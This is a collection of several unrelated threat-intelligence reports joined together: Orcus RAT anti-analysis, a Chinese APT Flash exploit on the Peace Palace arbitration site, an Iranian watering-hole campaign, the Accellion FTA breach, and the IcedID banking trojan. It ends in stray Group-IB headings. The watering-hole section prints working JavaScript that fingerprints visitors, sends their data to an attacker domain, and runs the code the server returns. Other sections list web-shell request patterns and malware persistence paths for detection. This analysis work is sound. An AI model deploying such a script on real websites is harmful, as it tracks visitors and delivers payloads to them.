From an incident responder or threat analyst's perspective, it is important to understand the type of anti-analysis protections a malware family employs so one is able to build an environment to successfully analyze the malware. This blog is not intended to discuss reverse-engineering the RAT in detail; however, it is interesting to see some of the anti-analysis features which Orcus employs to avoid being detected in a standard analysis environment.
We reverse-engineered one of the Orcus samples seen on a recent attack to check and verify some of the configured features. Given Orcus is developed in C# / VB.Net, we can easily peek into the code using a .NET disassembler. If an Orcus user enables the VMDetection feature while building the malware binary, the malware would check if it is running within a virtual machine environment. The virtual machines that Orcus detects are ParallelsDesktop, VirtualBox, VirtualPC, and VMWare.
Orcus also checks for processes of network monitoring tools like Netmon, TCPView, and Wireshark.
## Impact
Given the feature-rich toolset and the scalability Orcus provides, it is not a surprise that the usage and acceptance of the Orcus RAT is growing among cyber criminals since being first sold early this year. Given the increasing popularity of Orcus, it is likely that we will see more cyber crime campaigns where the RAT of choice is Orcus.
## Conclusion
The individuals behind Orcus are selling the RAT by advertising it as a "Remote Administration Tool" under a supposedly registered business and claiming that this tool is only designed for legitimate business use. However, looking at the feature capabilities, architecture of the tool, and the publishing and selling of the tool in hacker forums, it is clear that Orcus is a malicious tool, and that its target customer is cyber criminals. It's not uncommon, but this is an interesting case where a developer with an initial intention to release the code for free or open source ends up collaborating with an individual in a hacker forum who has prior experience in building and selling similar malicious tools, and creates a commercial RAT which has started to gain wide acceptance among cyber criminals with its unique feature set and flexible architecture.
Palo Alto Networks WildFire correctly identifies Orcus as malicious and AutoFocus customers can track this threat using the Orcus tag. |
# China Hacks the Peace Palace: All Your EEZ’s Are Belong to Us
## Executive Summary
In early July 2015, Chinese APT actors used an Adobe Flash Player exploit within a specific webpage detailing a noteworthy international legal case between the Philippines and China. This precedent-setting legal case would be followed by many Southeast Asian nations, as well as others around the globe. The exploit appeared on day three of the Permanent Court of Arbitration tribunal, exposing an untold number of interested parties that visited the webpage to potential exploitation.
When considered holistically, the intelligence supports the conclusion that this exploitation campaign was purposefully carried out against the backdrop of diplomatic and legal maneuvering. Despite Beijing’s unwillingness to participate in the international arbitration and their rejection of the PCA’s jurisdiction, there appears to be a distinct effort to surreptitiously target those who are interested in this landmark international legal case via electronic means.
## Hacking the Peace Palace
Since the revelation of an Adobe Flash Player zero-day exploit exposed as part of the leaked “Hacking Team” arsenal on July 6, 2015 (designated CVE-2015-5119), the ThreatConnect Intelligence Research Team has been monitoring its adoption by other malicious actors that are not tied to “Hacking Team.” On Thursday, July 9, 2015, ThreatConnect observed that a CVE-2015-5119 exploit was embedded strategically within the website for the Permanent Court of Arbitration (PCA), 72 hours after the exploit was disclosed publicly. The significance of this is that the PCA is an intergovernmental organization providing a variety of dispute resolution services to the international community located at the Peace Palace within The Hague, Netherlands. The 102-year-old Peace Palace is a historic fixture within the sphere of international law because it also houses the International Court of Justice, the principal judicial body of the United Nations, as well as other bodies and resources that uphold and support international laws and norms to which many nations adhere.
The exploit was posted to the PCA website during the first round of arguments of a notable international legal case where the Philippines is contesting Chinese territorial expansion within the South China Sea (SCS), specifically challenging encroachment into the Philippines' exclusive economic zone (EEZ). These arbitral proceedings were initially instituted by the Republic of the Philippines against the People’s Republic of China under Annex VII of the United Nations Convention on the Law of the Sea (UNCLOS) on January 22, 2013.
Two years later, on July 09, 2015, an attacker compromised the official PCA webpages. This exploitation was almost certainly not a random compromise of the PCA website; rather, it occurred during the initial phase of the legal proceedings. The exploit itself was embedded within the very pages that specifically described the legal case of The Republic of the Philippines v. The People’s Republic of China.
According to URLQuery, the attackers placed a CVE-2015-5119 Flash Exploit at the malicious URL and altered the PCA webpages to load that URL when visited. The domain resolved to the IP address 192.243.116.241 (Phoenix, Arizona, US) at the time of initial exploitation. IP Address 192.243.116.241 is owned by IT7 Networks, Inc., which provides self-managed Virtual Private Server (VPS) infrastructure. The attackers shifted the domain later, resolving to IP Address 108.61.117.9 (Haarlem, Netherlands) on Friday, July 10th, the very day that the tribunal convened in The Hague.
The malware payload associated with this exploit has been identified as MD5: B4522D05A9E3A034AF481A7797A445EA (Rdws.exe). This payload is a dropper executable that deploys its main malware component using a dynamic link library (DLL) sideloading technique, where a malicious DLL is dropped alongside a legitimate program executable that will load that malicious DLL by filename. In this instance, the attackers leveraged the legitimate Google Chrome Frame Helper executable MD5:DFDC5B09C4DEA79EB7F5B9E4E76EECF9 (LMS.exe) with the malicious sideload DLL file MD5: 2EE25DE7BD6A2705F3F8DDE0DD681E96 (dbghelp.dll). LMS.exe will load any DLL file named dbghelp.dll that is found in the same path, hence the sideloading technique. In turn, the malicious DLL loads a backdoor binary blob MD5: 16E5A27BD55E0B4E595C9743F4C75611 (ticrf.rat).
The malware connects back to the exploit domain as well as the subdomain. The domain resolved to 175.45.233.205 (Seoul, South Korea) at the time of analysis. ThreatConnect also uncovered a related malware sample MD5: 5877D15215B7F398319F0DE7BA7B1947, which was submitted to Malwr.com on July 15, 2015. This malware implant matches the type used above and leverages the C2 domains. The former domain resolves to the same Netherlands IP 108.61.117.9 which resolved pic.nicklockluckydog.org on July 10th. The domain was registered by the email address [email protected], which uses the same “nicklock” pseudonym found in the domain nicklockluckydog.org, and uses the falsified address info “zhongguohunansheng” Beijing, China.
The domain nicklockluckydog.org was registered on July 9th, 2015, by a Chinese domain reseller using falsified information such as the name Lanny Chen and address 7946 N Bridle Creek Way in Xiamen, Taiwan. On an interesting note, the registration address is the same observed within a civil suit between the National Football League and various Chinese domain resellers originally filed in May 2014.
## Conclusion
In early July 2015, Chinese APT actors operationalized an Adobe Flash Player exploit within 72 hours of its public disclosure, strategically staging it within a specific webpage detailing a noteworthy international legal case between the Philippines and China. This precedent-setting legal case would be followed by many Southeast Asian nations, as well as those around the globe. The exploit appeared during the first round of hearings, exposing an untold number of interested parties that visited the webpage. The tactic of leveraging strategic website compromises with patched or unpatched exploits is a well-known observable which has been used consistently by various APT groups in recent years.
When considered holistically, the intelligence supports the conclusion that this exploitation campaign was purposefully carried out against the backdrop of diplomatic and legal maneuvering. Manila has long recognized they are unable to independently lock horns with China diplomatically or militarily, by invoking dispute settlement procedures under the UNCLOS, an agreement in which both China and the Philippines are signatories. The Philippines is seeking to leverage international law to level the playing field against China’s regional diplomatic and military dominance, the ultimate goal being to deter aggressive Chinese expansion activities within the Philippine EEZ and the broader South China Sea.
Despite Beijing’s unwillingness to participate in the international arbitration and their rejection of the PCA’s jurisdiction, there appears to be a distinct effort to surreptitiously monitor those who are interested in this landmark international legal case via electronic means.
This vignette also highlights the critical difference between threat data and threat intelligence. The latter goes beyond simply pulling in a stream of open-source indicators and blindly pushing them to your enterprise network security devices and SIEM tools hoping something hits. A true Threat Intelligence Platform enables tactical, operational, and strategic analysis of the details behind the technical how within the context of the non-technical, socio-political why. |
# Fata Morgana: Watering Hole Attack on Shipping and Logistics Websites
## Introduction
ClearSky Cyber Security has detected a watering hole attack on at least eight Israeli websites. The attack is highly likely to be orchestrated by a nation-state actor from Iran, with low confidence specific attribution to Tortoiseshell (also called TA456 or Imperial Kitten).
The infected sites collect preliminary user information through a script. We have discovered several details that suggest this script is used for malicious purposes.
In watering hole attacks, the attacker compromises a website that is frequently visited by a specific group of people, such as government officials, journalists, or corporate executives. Once compromised, the attacker can inject malicious code to the website which will be executed when users visit it. Currently, the campaign focuses on shipping and logistics companies, aligning with Iran’s focus on the sector for the past three years.
We conclude that the script is malicious based on the following points:
- **C2 Attribution**: The domain jquery-stack[.]online is attributed to TA456 (Tortoiseshell).
- **Known Iranian TTP**: Watering hole attacks have been part of the initial access stage used by Iranian threat actors since 2017. This initial access technique was also mentioned by Mandiant in August 2022, where an Iranian threat actor named UNC3890 was targeting shipping companies in Israel using the same watering hole attack. In the current attack, visiting user data is collected and sent to the attacker’s C2 server.
- **Usage of “jQuery”**: Our team observed four domains impersonating jQuery, a legitimate JavaScript framework, by using "jQuery" in their domain names. This is done to deceive anyone who checks the website code. We have already seen domain names impersonating jQuery in a previous Iranian campaign from 2017 using a watering hole attack. The following domain names were used: jguery[.]net, jguery[.]online. In the recent attack, there was a use of similar domain names, for example: jguery[.]org.
- **Usage of Open Source Tools**: The reuse of open-source penetration test tools that focus on web browsers. In 2017, we reported the Iranian attacker used BeFF (the Browser Exploitation Framework Project), whereas in this case, the attacker used code taken partly from the Metasploit framework, with a few added unique strings. According to one of the victims, the JavaScript found in this research is unknown to them, indicating that the script is malicious.
Previous Tortoiseshell attacks have been observed using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appeared to be supply chain attacks with the end goal of compromising the IT providers' customers. The threat actor has been active since at least July 2018.
All eight websites detected by ClearSky analysts were infected by the same method using a similar JavaScript. One of the infected websites, szm.co[.]il, had already been classified as infected by ClearSky back in May 2022 and was attributed to an unknown Iranian attacker.
## List of Websites Suspected of Being Infected
Based on scans on 18/04/23. Most sites were already cleared of this code:
| Victim | IP | Hosting Company | Industry | Related Malicious Domain |
|----------------------------|-------------------|----------------------|-------------------|-------------------------------------------|
| sagaselect-am[.]com | 68[.]183.241.30 | Digital Ocean | Financial Services | cdn-code-jquery[.]info |
| aviram.co[.]il | 88[.]218.117.143 | uPress | Shipping | cdnpakage.com |
| sny-cargo[.]com | 185[.]201.148.103 | uPress | Shipping | cdnpakage[.]com |
| szm.co[.]il | 185[.]201.148.67 | uPress | Kitchens and | jquery-stack[.]online |
| | | | Restaurants | (Related to Tortoiseshell)/ |
| | | | Supply | jquery-code-download[.]online |
| tel-bar.co[.]il | 88[.]218.117.143 | uPress | Medical | cdnpakage[.]com |
| azma.co[.]il | 88[.]218.117.143 | uPress | Importing and | cdnpakage[.]com |
| | | | Marketing | |
| depolog.co[.]il | 62[.]219.78.161 | Bezeq International | Shipping - | jquery-code-download[.]online |
| | | | Logistics | |
| Offe.co[.]il | 62[.]219.58.182 | Bezeq International | Supply | jguery[.]org |
“uPress”, a hosting service, was attacked in 2020 by the Iranian group Emennet Pasargad, “Hackers of Savior”, who defaced thousands of Israeli sites hosted by it.
## Research Details
In May 2022, ClearSky analysts exposed a watering hole on szm.co[.]il. According to our research, this watering hole was created by an Iranian threat actor. Further research led to the exposure of several additional websites that were infected by a watering hole orchestrated by the same Iranian threat actor.
The malicious JavaScript used in the watering hole collects data from visiting users. The data collected includes the user's OS language, IP address, screen resolution, as well as the URL from which the website was visited.
The collected data was transferred as a JSON file by a POST request to a website controlled by the attacker. Below is an example of one of the scripts found containing the domain jquery-stack[.]online:
### Sample of the JavaScript Code
The malicious JavaScript contains a unique string of text which features grammatical errors. Based on this unique string, our team was able to find another JavaScript that contains the same code but a different domain.
Our research found a JavaScript that shares the same code with different C2 domains on VirusTotal.
- **File name**: addawdawdwdad
- **File type**: Win32 EXE
- **Sha256**: ef03bd18ca636be5ac23deb16a5a5821a647410c67b5ee33907f768f00f019bb
- **Sha1**: c4244269f7c31c9a2bab7cabd568a1cda392ae74
- **Md5**: c3b47295bf32808551478963ac5e5195
The script is downloaded from the malicious website cdnpakage[.]com. Our team discovered that cdnpakage[.]com previously had another SSL certificate related to another domain - globalpneuservices[.]com. Using the domain cdnpakage[.]com, additional infected domains were found: tel-bar.co[.]il, aviram.co[.]il.
## Analysis of the Script
This script appears to be designed to collect information about the user's system and send it to a remote server. It begins by declaring variables for an object and an array called ips. The function getLang() checks if the navigator.languages property is defined, and if so, returns the first language in the array. If navigator.languages is not defined, it returns navigator.language.
The SendCall() function uses jQuery's $.ajax() method to make a POST request to a remote server at the URL "https://cdnpakage.com/Info". The data sent with the request includes several pieces of information encoded using base64:
- **object**: encoded current date as a string.
- **rnamespace**: encoded pathname of the current page.
- **Trigger**: encoded result of getLang() function call.
- **Handler**: encoded screen resolution as a string.
- **nonce**: encoded referrer.
- **DOMParser**: always set to "MQ==", which is the base64 encoding of the string "1".
- **restApi**: encoded list of plugin names.
- **ECO**: encoded list of IP addresses obtained through a WebRTC STUN request.
- **hashCanvas**: SHA-256 hash of an HTML canvas element that is generated within the script.
The hashCanvas variable is determined by generating an HTML canvas element and drawing some shapes to it. If an error occurs while creating the canvas, hashCanvas is set to the string "noting !". Otherwise, the SHA-256 hash of the canvas image data is computed and used as the value of hashCanvas.
The RealIPV() function attempts to obtain the user's IP address by creating a WebRTC peer connection and gathering ICE candidates. Any candidates that match an IP address pattern are added to the ips array. Finally, RealIPV() and SendCall() functions are called at the bottom of the script to gather information and send it to the remote server.
The site hXXps://cdnpakage[.]com/Info is indeed malicious, indicating that this script can be used as part of a watering hole attack.
## Further Analysis of the Script
The provided script appears to be a part of a watering hole attack, attempting to compromise visitors of the infected website by collecting information about their system and then sending it to a remote server controlled by the attacker.
Starting with the variables, the "obj" variable is not used in the script yet. The "ips" variable is an empty array, which will later be populated with the user's IP addresses.
```javascript
var obj;
var ips = [];
var hashCanvas;
```
Here, three variables are declared: obj, ips, and hashCanvas. Their values are not set at this point. The code initializes an empty array called "ips" and then uses the window.location object to retrieve the visitor’s IP address. It then checks if the IP address already exists in the "ips" array, and if it does not, it adds the IP address to the array using the push() method.
The "getLang()" function attempts to determine the user's language preference by checking the "navigator.languages" array first, and if it's undefined, returning the "navigator.language" property. This information could be useful to the attacker to customize their attack based on the user's language.
```javascript
function getLang() {
if (navigator.languages != undefined)
return navigator.languages[0];
return navigator.language;
}
```
This function returns the user's preferred language for displaying content in their browser. It first checks if the navigator.languages array is defined and returns the first language in the array. If it's not defined, it returns to the navigator.language property.
The next function is:
```javascript
function SendCall(){
var x=navigator.plugins.length;
var pluggin = []
for(var i=0;i<x;i++)
{
pluggin.push(navigator.plugins[i].name);
}
$.ajax({
type: "POST",
url: "https://cdnpakage[.]com/Info",
data: JSON.stringify({
"object" : btoa(new Date().toLocaleString()),
"rnamespace" : btoa(window.location.pathname),
"Trigger" : btoa(getLang()),
"Handler" : btoa(screen.width + " x " + screen.height),
"nonce" : btoa(document.referrer),
"DOMParser" : btoa("MQ==") ,
"restApi": btoa(pluggin.toString()),
"ECO" : btoa(ips.toString()) ,
"hashCanvas" : hashCanvas.toString()
}),
contentType: "application/json",
dataType: "json",
success: function (response) {
var tagscript = document.createElement("script");
tagscript.innerHTML = response["code"];
tagscript.setAttribute('type', 'text/javascript');
document.head.appendChild(tagscript);
},
});
}
```
The "SendCall()" function sends a POST request to a remote server at hXXps://cdnpakage[.]com/Info. It collects various information about the user's system and encodes it in Base64 before sending it. The collected information includes:
- **object**: the current date and time, encoded in Base64.
- **rnamespace**: the current URL path, encoded in Base64.
- **Trigger**: the user's language preference, encoded in Base64.
- **Handler**: the user's screen resolution, encoded in Base64.
- **nonce**: the referrer URL, encoded in Base64.
- **DOMParser**: an encoded string "MQ==", which is not clear what it represents.
- **restApi**: a comma-separated list of the user's installed browser plugins, encoded in Base64.
- **ECO**: a comma-separated list of the user's IP addresses, encoded in Base64.
- **hashCanvas**: not clear yet.
After sending the POST request, if it's successful, the response will contain a "code" property, which is added to a new "script" element in the "head" section of the document. This code is executed, which could be a payload that attempts to exploit vulnerabilities in the user's system or steal their information.
After this code response, the script creates a canvas element and draws some shapes and text on it using various colors and composite operations. After that, it calculates a SHA-256 hash of the canvas element's data URL using a custom implementation of the algorithm. If an error occurs during the canvas creation or hash calculation, it sets the hash value to "noting !".
The JavaScript code creates a hidden iframe that loads a malicious website in the background, using the same domain as the targeted website. This is done to hide the malicious activity from the victim.
Later the code includes the next function:
```javascript
function RealIPV(){
var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),
noop = function() {},
localIPs = {},
ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,
key;
pc.createDataChannel("");
pc.createOffer(function(sdp) {
sdp.sdp.split('\n').forEach(function(line) {
if (line.indexOf('candidate') < 0) return;
line.match(ipRegex).forEach(ipIterate);
});
pc.setLocalDescription(sdp, noop, noop);
}, noop);
pc.onicecandidate = function(ice) {
if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipRegex)) return;
ips.push((ice.candidate.candidate).toString())
};
}
RealIPV();
SendCall();
```
This code appears to be using the WebRTC API to gather information about the user's local IP address and send it to a function called "SendCall()". The code first creates a new RTCPeerConnection object and sets the iceServers property to Google's STUN server at Stun[.]l.google[.]com:19302. It then creates a data channel and an offer to exchange media over the connection.
STUN servers are used by both clients to determine their IP addresses as visible on the Internet. If both peers are behind the same NAT, STUN settings are not needed since they are already reachable. STUN effectively comes into play when the peers are on different networks.
In the offer callback function, the code extracts the local IP addresses from the SDP (Session Description Protocol) of the offer by using a regular expression to match the IP address pattern. These local IP addresses are stored in an object called "localIPs". The onicecandidate event handler is then set to fire when an ICE candidate is discovered during the ICE gathering process. When a candidate is found, it checks if it contains an IP address and if so, it is added to an array called "ips".
Finally, the function "RealIPV()" is called, which gathers the local and public IP addresses and stores them in the "localIPs" and "ips" variables respectively. After that, the function "SendCall()" is called which presumably sends this information to some remote server or client. This part of code appears to be attempting to obtain the real IP address of the user visiting the website. The code achieves this by creating a WebRTC connection and extracting the IP address information from the connection. The extracted information is then passed on to the SendCall() function for further use, which is a part of the watering hole attack as mentioned.
## Attribution
We attribute the attack with high confidence to an Iranian threat actor based on the following findings:
- **C2 Attribution**: The domain jquery-stack[.]online is attributed to TA456 (Tortoiseshell).
- Our team observed four domains impersonating jQuery, a legitimate JavaScript framework, by using "jQuery" in their domain names. This is done to deceive anyone who checks the website code. We have already seen domain names impersonating jQuery in a previous Iranian campaign from 2017 using a watering hole attack. The following domain names were used: jguery[.]net, jguery[.]online. In the recent attack, there was a use of similar domain names, for example: jguery[.]org.
- Watering holes have been part of the initial access stage used by Iranian threat actors since at least 2017.
- Iranian threat actors target Israeli websites and attempt to collect data on logistics companies associated with shipping and healthcare.
- Re-use of open-source penetration testing tools that focus on web browsers was seen both in an Iranian campaign in 2017 and in this current campaign.
- Our team has contacted one of the victims, who confirmed that the JavaScript found in this research was not familiar to them, which emphasizes the fact that the script is malicious.
As for the specific Iranian threat actor, we attribute the attack with “low confidence” to the Iranian group Tortoiseshell. AnyRun sandbox attributed (jquery-stack[.]online) to TA456 (Tortoiseshell). The script itself was also stored on this domain: jquery-stack[.]online. These findings add to the argument that the author of this script is Iranian.
## Indicators
### Hashes
- ef03bd18ca636be5ac23deb16a5a5821a647410c67b5ee33907f768f00f019bb
- c4244269f7c31c9a2bab7cabd568a1cda392ae74
- c3b47295bf32808551478963ac5e5195
### IP Addresses
- 170[.]130.55.55
- 87[.]237.52.216
- 45[.]150.65.27
- 31[.]44.6.24
- 91[.]242.217.138
### Domains
- cdnpakage[.]com
- jquery-stack[.]online
- globalpneuservices[.]com
- jquery-code-download[.]online
- cdn-code-jquery[.]info
- jguery[.]org
We also detected three domains with a low confidence attribution to the attack. They have a similar structure and are pointing to the same IP addresses of jguery[.]org, as seen in the following graph:
- jquery-cdns[.]com
- jquery[.]im
- query[.]network |
# Key Judgments
- The Accellion FTA data breach was enabled by four zero-day vulnerabilities, with initial access gained through an SQL injection vulnerability, CVE-2021-27101.
- Based on the changes in statements from Accellion over the course of reporting on this campaign, the company may still not be fully aware of the extent of compromise associated with these vulnerabilities. Furthermore, based on the number of industries and countries that include clients of Accellion, we suspect that future reports of Accellion FTA exploitation will disclose more companies, industries, and countries than have previously been reported.
## Executive Summary
The compromise of the Accellion File Transfer Appliance (FTA) file sharing service impacting nearly 100 clients of the company was enabled primarily by four zero-day vulnerabilities in the tool that allowed threat actors to place the DEWMODE web shell on victim servers and exfiltrate files from those servers. As of February 25, 2021, 13 organizations in multiple sectors (finance, government, legal, education, telecommunications, healthcare, retail, and manufacturing) and multiple countries (Australia, New Zealand, Singapore, the UK, and the US) have suffered data breaches as a result of the Accellion FTA compromise. Victim data has appeared on the website CL0P LEAKS, establishing a link between the operators of this website and the attackers behind the Clop ransomware. There are likely to be reports of additional victims in the near future, and we suspect that these victims will be part of additional industries and countries beyond what have already been reported.
## Timeline of Events
- **January 10, 2021**: The Reserve Bank of New Zealand reported a data breach due to compromise of a third-party file sharing service, shortly afterward identified as Accellion. The bank released a statement about the breach a day later, in which they stated that the breach may have exposed commercially and personally sensitive information.
- **January 12, 2021**: Accellion stated in a press release that “less than 50 customers” were affected by a “P0 vulnerability” in its legacy FTA software.
- **January 22, 2021**: Australian law firm Allens reports a data breach due to Accellion FTA compromise.
- **January 25, 2021**: The Australian Securities and Investment Commission discloses that on January 15, it became aware of a data breach due to Accellion FTA compromise.
- **February 2, 2021**: US law firm Goodwin Procter, the first non-Australian or New Zealand victim, discloses a data breach due to Accellion FTA compromise.
- **February 11, 2021**: Singaporean telecommunications company Singtel and Australian medical research institute QIMR Berghofer disclose data breaches due to Accellion FTA compromise.
- **February 16, 2021**: US law firm Jones Day confirms a data breach due to Accellion FTA compromise.
- **February 19, 2021**: US grocery chain Kroger discloses data breach due to Accellion FTA compromise.
## Technical Analysis
Insikt Group analyzed two copies of the DEWMODE web shell highlighted by FireEye. The initial steps of the attack involved gaining access to the Accellion FTA server through a pre-auth SQL injection vulnerability, CVE-2021-27101. The threat actor used the access to the SQL database to obtain a key that was used in conjunction with a file called “sftp_account_edit.php.” This enabled the threat actor to write an eval web shell to the server.
The DEWMODE web shell is very small, approximately 80 lines of PHP code, and has relatively simple functionality that allows the threat actor to view and download files of interest. The threat actor’s exploitation of zero-day vulnerabilities in Accellion FTA was key to gaining access to, and then proceeding to further exploit, these servers.
## Mitigations
Organizations should monitor for network requests associated with the DEWMODE web shell, including:
- GET requests to `/about.html?dwn=[encrypted path]&fn=[encrypted filename]`
- GET requests to `/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c`
- GET requests to `/about.html?aid=1000`
Accellion has released patches for all of the vulnerabilities associated with this breach, and organizations using Accellion FTA servers should update to version FTA_9_12_416. If malicious behavior is identified, CISA recommends resetting the “W1” encryption token and any other security tokens on the system.
## Outlook
Based on the changes in statements from Accellion over the course of reporting on this campaign, the company may still not be fully aware of the extent of compromise associated with these vulnerabilities. As products approach end of life, such as Accellion FTA, they are likely to have less developer support and update oversight moving forward. Organizations with software or hardware in their technology stack that has reached end of life or is approaching it should continue to monitor these products and develop migration strategies for these tools to more current, supported tools. |
# New Banking Trojan IcedID Discovered by IBM X-Force Research
**November 13, 2017**
By Limor Kessem, co-authored by Maor Wiesen, Tal Darsan, Tomer Agayev
IBM X-Force research follows developments in the financial cybercrime arena to map the events and trends that shape the threat landscape for organizations and consumers alike. After a year that has been very active in terms of banking malware, point-of-sale (POS) malware, and rampant ransomware attacks, the X-Force team identified a new banking Trojan active in the wild dubbed IcedID.
## IcedID Emerges
According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail, and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.
IcedID does not seem to have borrowed code from other Trojans, but it implements comparable features that allow it to perform advanced browser manipulation tactics. Although IcedID’s capabilities are already up to par with those of other banking Trojans such as Zeus, Gozi, and Dridex, our researchers believe it will see further updates in the coming weeks.
## Served by Emotet
X-Force’s analysis of IcedID’s delivery method suggests that its operators are not new to the cybercrime arena, opting to infect users via the Emotet Trojan. X-Force research believes that a threat actor or a small cybergang has been operating Emotet as a distribution operation for banking Trojans and other malware codes this year. Emotet’s most prominent attack zone is the U.S. To a lesser extent, it also targets users in the U.K. and other parts of the world.
Emotet has been one of the notable malware distribution methods in 2017, serving elite cybercrime groups from Eastern Europe, such as those operating QakBot and Dridex. It has now added IcedID as a new payload drop. Emotet emerged in 2014 after a leak of the original source code of the Bugat Trojan. It was originally a banking Trojan that preceded Dridex. As such, it is designed to amass and maintain botnets. Emotet persists on the machine and then fetches additional components such as a spamming module, a network worm module, and password and data stealers for Microsoft Outlook email and browser activity.
Emotet itself comes via malspam, usually inside rigged productivity files that contain malicious macros. Once Emotet infects the endpoint, it becomes a silent resident and is operated to serve malware from other cybercriminal groups.
## IcedID’s TTPs
When it comes to tactics, techniques, and procedures (TTPs), IcedID has a few tricks up its sleeve. Aside from the more common Trojan features, IcedID can propagate over a network. It monitors the victim’s online activity by setting up a local proxy for traffic tunneling, which is a concept reminiscent of the GootKit Trojan. Its attack tactics include both web injection attacks and sophisticated redirection attacks similar to the scheme used by Dridex and TrickBot.
### Network Propagation
IcedID’s operators probably plan on targeting businesses because they added a network propagation module to the malware from the get-go. IcedID possesses the ability to move to other endpoints, and X-Force researchers also observed it infecting terminal servers. Terminal servers typically provide terminals, such as endpoints, printers, and shared network devices, with a common connection point to a local area network (LAN) or a wide area network (WAN), which suggests that IcedID has already been targeting employee email to land on organizational endpoints.
To find other users to infect, IcedID queries the lightweight directory access protocol (LDAP). IcedID’s financial fraud TTPs include two attack modes: web injection attacks and redirection attacks. To begin, the malware downloads a configuration file from the Trojan’s command-and-control (C&C) server when the user opens the internet browser. The configuration includes targets for which a web injection attack will be activated — mostly banks and other targets that were fitted with redirection attacks, such as payment cards and webmail sites.
## Technical Details
X-Force researchers ran a dynamic analysis on IcedID samples. At this time, the malware deploys on endpoints running various versions of the Windows operating system. It does not appear to possess any advanced anti-virtual machine (VM) or anti-research techniques, aside from the following:
- It requires a reboot to complete full deployment, possibly to evade sandboxes that do not emulate rebooting.
- It communicates via secure sockets layer (SSL) to add a layer of security to the communications and to bypass automated scans by intrusion detection systems.
That being said, X-Force researchers assert that anti-forensic features could be added to this Trojan over time.
### Payload Deployment
IcedID is deployed to target endpoints using the Emotet Trojan as a dropper. After a reboot, the payload is written to the Windows %LocalAppData% folder with a value generated per some parameters from the operating system. That value is used both in the deployment path and the RunKey value for the file.
The full convention for the value is: `%LOCALAPPDATA%\[a-z]{9}\[a-z]{9}.exe`.
`C:\Users\User\AppData\Local\ewonliarl\ewonliarl.exe`
`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ewonliarl`
The malware sets its persistence mechanism by creating a RunKey in the registry to ensure its survival after system reboot events. Next, IcedID writes an RSA crypto key to the system into the AppData folder. The malware may write to this RSA key during the deployment routine, which could be linked to the fact that web traffic is tunneled through IcedID’s process even as it channels SSL traffic. X-Force is still investigating the exact use of the RSA key.
The temp file is written according to the following convention: `%TEMP%\[A-F0-9]{8}.tmp`.
`C:\Users\User\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2137145731-2486784493-1554833299-1000\fdbe618fb7eb861d65554863fc5da9a0_883f9a43-a12c-410f-b47d-bb7275830b53`
`C:\Users\User\AppData\Local\Temp\CACCEF19.tmp`
IcedID’s process continues to run, which is rather uncommon for malware. This could mean that some parts of the code are still being fixed and that this issue will change in the next update. The deployment process ends here and the dropper continues to run under the Explorer process until the next reboot of that endpoint. Upon the reboot event, the payload is executed and the IcedID Trojan becomes resident on the endpoint. At this point, the malware’s components are in place to begin redirecting the victim’s internet traffic through a local proxy that it controls.
### Tunneling the Victim’s Web Traffic
IcedID sets up a local proxy to listen and intercept communications from the victim’s endpoint and redirects all internet traffic through it in two hops. First, the traffic is transferred to the localhost (127.0.0.1) via port 49157, which is part of the dynamic/private TCP/IP ports. Second, the malware’s malicious process listens on that port and exfiltrates relevant communications to its C&C server.
### Triggering the Redirection to a Bank Site Replica
Although it has only recently been launched, IcedID already uses redirection attacks. The redirection scheme IcedID uses is not a simple handover to another website with a different URL. Rather, it is designed to appear as seamless as possible to the victim. These tactics include displaying the legitimate bank’s URL in the address bar and the bank’s correct SSL certificate, which is made possible by keeping a live connection with the actual bank’s site.
IcedID’s redirection scheme is implemented through its configuration file. The malware listens for the target URL from the list and, once it encounters a trigger, executes a designated web injection. The web injection sends the victim to a fake bank site set up in advance to match the one originally requested. The victim is fooled into submitting his or her credentials on the fake page replica, which unknowingly sends him or her to the attacker’s server. From that point on, the attacker controls the session the victim goes through, which typically includes social engineering to trick the victim into divulging transaction authorization elements.
## Malware Communications
IcedID’s communications take place over encrypted SSL. During a campaign analyzed in late October, the malware communicated with four different C&C servers. To report new infections to the botnet, IcedID sends an encoded message with the bot ID and basic system information.
### Remote Inject Panel
To orchestrate web injection attacks for each targeted bank site, IcedID’s operators have a dedicated, web-based remote panel accessible with a username and password combination. Web injection panels are typically commercial offerings criminals buy in underground markets. It is possible that IcedID uses a commercial panel or that IcedID itself is commercial malware. However, at this time there is no indication that IcedID is being sold in the underground or Dark Web marketplaces.
## A New Player in the Cybercrime Arena?
IcedID is a newly identified threat in the financial cybercrime arena. While it is still early to tell how it will fare, its current capabilities, distribution choices, and targets point to a group that is no stranger to this domain. IBM X-Force research continues to follow and post updates on IcedID on X-Force Exchange.
## Indicators of Compromise
IBM X-Force analyzed the following dropper MD5s for this research:
- 38921f28bb74fea2cab6e70039ee65f3
- 6899d3b51430679254635d78357c087e
- c01dcdba9223d037eb8bf0944f1c1c9e
- d982c6de627441765c89da5cfeb04d6f
- de4ef2e24306b35d29891b45c1e3fbfd
## Browser Patching
IBM X-Force analyzed the following hooks for this research.
**Internet Explorer:**
- Connect
- CreateProcessInternalW
- CertGetCertificateChain
- CertVerifyCertificateChainPolicy
**FireFox:**
- nss3.dll!SSL_AuthCertificateHook
**Other hooks:**
- CreateProcessInternalW
- CreateSemaphoreA
For IP addresses and URLs from our investigation, please check reports in the IcedID collection on X-Force Exchange.
**Limor Kessem**
Executive Security Advisor, IBM |
# New Botnets
## Affiliate Programs
## Network Compromise
**Disclaimer**
1. The report was written by Group-IB experts without any third-party funding.
